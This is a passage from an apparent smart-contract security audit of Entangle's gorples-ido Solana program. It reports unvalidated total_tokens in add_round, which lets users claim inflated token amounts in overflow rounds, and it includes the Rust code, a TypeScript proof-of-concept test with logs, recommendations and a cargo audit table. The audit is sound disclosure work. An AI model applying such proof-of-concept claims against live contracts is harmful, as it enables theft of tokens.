While it effectively prevents to airdrop more than tokens allowed in a determined round, it does not directly ensure the stability of the system because it does not implement thresholds to limit minimum and maximum airdrop amount, per account.

BVSS
Recommendation

To address this issue, it is recommended to enforce airdrop thresholds by adding checks to the handle_airdrop function that verify the requested airdrop amount against the predefined limits. This can help prevent users from claiming excess tokens and ensure a fair distribution.


Remediation Plan

ACKNOWLEDGED: The Entangle team acknowledged the risk related to this finding.

7.7 Unwarranted $GORPLES claiming

// Informational

Description

In the current implementation of the gorples-ido program, the input total_tokens is not validated when initializing a new round using the add_round instruction. This value is only used in the buy instruction when the round is not in an overflow state (!overflow). However, if the round is in an overflow state and total_tokens is set to a disproportionately high amount, it can lead to an unfair distribution of $GORPLES.

- gorples-ido/src/instructions/add_round.rs

pub fn handle_add_round(ctx: Context<AddRound>, round_id: Vec<u8>, round: Round) -> Result<()> {
    if round_id == b"public" && !round.overflow {
        return Err(CustomError::NotOverflowRound.into());
    }
    require_gt!(round.total_tokens, 0);
    require_eq!(round.total_claimed, 0);
    require_eq!(round.total_bought, 0);
    require_gte!(10000, round.immediately_available);
    **ctx.accounts.round = round;
    Ok(())
}

- gorples-ido/src/instructions/claim.rs

pub fn handle_claim(ctx: Context<Claim>) -> Result<()> {
    let total_tokens = if ctx.accounts.round.overflow
        && ctx.accounts.round.total_bought > ctx.accounts.round.total_tokens
    {
        u128::from(ctx.accounts.round_balance.total) * u128::from(ctx.accounts.round.total_tokens)
            / u128::from(ctx.accounts.round.total_bought)
    } else {
        u128::from(ctx.accounts.round_balance.total)
    };
    let immediately_available: u128 =
        total_tokens * u128::from(ctx.accounts.round.immediately_available) / 10000;
    let mut total_available = immediately_available;
    let to_vest_total = total_tokens - immediately_available;
    let unlock_time = ctx.accounts.round.linear_unlock_time;
    let delta = ctx.accounts.clock.unix_timestamp as u64 - ctx.accounts.tge_config.tge_time;
    if unlock_time != 0 && to_vest_total != 0 && delta > ctx.accounts.round.cliff {
        let time_delta = u64::min(delta - ctx.accounts.round.cliff, unlock_time);
        total_available += to_vest_total * u128::from(time_delta) / u128::from(unlock_time);
    }
    require_gt!(
        total_available,
        u128::from(ctx.accounts.round_balance.claimed),
        CustomError::ZeroOutputAmount
    );
    let to_claim: u64 = (total_available - u128::from(ctx.accounts.round_balance.claimed))
        .try_into()
        .map_err(|_| CustomError::U64CastOverflow)?;
    ctx.accounts.round_balance.claimed += to_claim;
    ctx.accounts.round.total_claimed += to_claim;
    let accounts = MintGorples {
        mint_authority: ctx.accounts.authority.to_account_info(),
        authority: ctx.accounts.core_authority.to_account_info(),
        config: ctx.accounts.core_config.to_account_info(),
        mint: ctx.accounts.mint.to_account_info(),
        vault: ctx.accounts.user_vault.to_account_info(),
        token_program: ctx.accounts.token_program.to_account_info(),
    };
    let bump = &[ctx.bumps.authority][..];
    let seed = &[ROOT, b"AUTHORITY", bump][..];
    let seeds = &[seed][..];
    let cpi =
        CpiContext::new_with_signer(ctx.accounts.gorples_core.to_account_info(), accounts, seeds);
    gorples_core::cpi::mint_gorples(cpi, to_claim)
}

In this scenario, anyone can claim a much larger amount of $GORPLES tokens than they should when calling the claim instruction. This issue can have significant consequences, as it undermines the integrity and fairness of the token distribution process, potentially leading to loss of trust among users and stakeholders.

Proof of Concept

To reproduce this vulnerability, a Round with an abnormally high amount for total_tokens must be initialized. Then, run the following test scripts and expect the user claiming more $GORPLES tokens than expected in a normal situation.

PoC Code

  it("Claim public", async () => {
    const balancePublicUserBeforeClaim = await provider.connection.getBalance(
      publicUser.publicKey
    );
    console.log(`Public user balance before claim is ${balancePublicUserBeforeClaim}`);

    let userVault = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      publicUser,
      gorplesCore.mint,
      publicUser.publicKey,
      undefined,
      undefined,
      undefined,
      TOKEN_2022_PROGRAM_ID
    );

    console.log(`Public user VAULT before claim is ${userVault.amount}`);
    
    expect(userVault.amount).eq(BigInt(0));

    await gorplesIdoProgram.methods
      .claim(Buffer.from(utf8.encode("public")))
      .accounts({
        user: publicUser.publicKey,
        tgeConfig: gorplesIdo.tgeConfig,
        round: publicRound,
        roundBalance: publicRoundBalance,
        mint: gorplesCore.mint,
        userVault: userVault.address,
        authority: gorplesIdo.authority,
        coreAuthority: gorplesCore.authority,
        coreConfig: gorplesCore.config,
        clock: SYSVAR_CLOCK_PUBKEY,
        gorplesCore: gorplesCoreProgram.programId,
        tokenProgram: TOKEN_2022_PROGRAM_ID,
        systemProgram: SystemProgram.programId,
      })
      .signers([publicUser])
      .rpc();
    userVault = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      publicUser,
      gorplesCore.mint,
      publicUser.publicKey,
      undefined,
      undefined,
      undefined,
      TOKEN_2022_PROGRAM_ID
    );

    const balancePublicUserAfterClaim = await provider.connection.getBalance(
      publicUser.publicKey
    );
    console.log(`Public user balance ($SOL) after claim is ${balancePublicUserAfterClaim}`);
    
    
    let userVaultAfter = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      publicUser,
      gorplesCore.mint,
      publicUser.publicKey,
      undefined,
      undefined,
      undefined,
      TOKEN_2022_PROGRAM_ID
    );
    console.log(`Public user VAULT after claim is ${userVaultAfter.amount}`);

  });

  • Normal scenario logs (initialized with a normal value for total_tokens )

Public user balance before purchase is 200000000000
Public user balance after purchase is 149998879440
Public user balance before claim is 149998879440
Public user VAULT before claim is 0
Public user balance ($SOL) after claim is 149996721840
Public user VAULT after claim is 4000000000000
  • Bad scenario logs (initialized with inflated value for total_tokens)

Public user balance before purchase is 200000000000
Public user balance after purchase is 149998879440
Public user balance before claim is 149998879440
Public user VAULT before claim is 0
Public user balance ($SOL) after claim is 149996721840
Public user VAULT after claim is 500000000000000

Public user VAULT difference is 496000000000000 lamports or 496.000 $GORPLES tokens, when a round is initialized with an unreasonable amount of total_tokens.

BVSS
Recommendation

To mitigate this risk, it is essential to implement proper input validation for the total_tokens parameter in the add_round instruction. This can be achieved by adding a require statement that checks the value against a predetermined threshold or by using a more dynamic approach that considers other factors, such as the total number of participants or the overall $SOL raised.


Remediation Plan

ACKNOWLEDGED: The Entangle team acknowledged the risk related to this finding.

8. Automated Testing

Static Analysis Report

Description

Halborn used automated security scanners to assist with detection of well-known security issues and vulnerabilities. Among the tools used was cargo audit, a security scanner for vulnerabilities reported to the RustSec Advisory Database. All vulnerabilities published in https://crates.io are stored in a repository named The RustSec Advisory Database. cargo audit is a human-readable version of the advisory database which performs a scanning on Cargo.lock. Security Detections are only in scope. All vulnerabilities shown here were already disclosed in the above report. However, to better assist the developers maintaining this code, the auditors are including the output with the dependencies tree, and this is included in the cargo audit output to better know the dependencies affected by unmaintained and vulnerable crates.

Cargo Audit Results

ID

Crate

Description

RUSTSEC-2022-0093

ed25519-dalek@1.0.1

Double Public Key Signing Function Oracle Attack on ed25519-dalek

RUSTSEC-2023-0033

borsh@0.10.3

Parsing borsh messages with ZST which are not-copy/clone is unsound

RUSTSEC-2023-0033

borsh@0.9.3

Parsing borsh messages with ZST which are not-copy/clone is unsound

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project’s integrity and addressing potential vulnerabilities introduced by code modifications.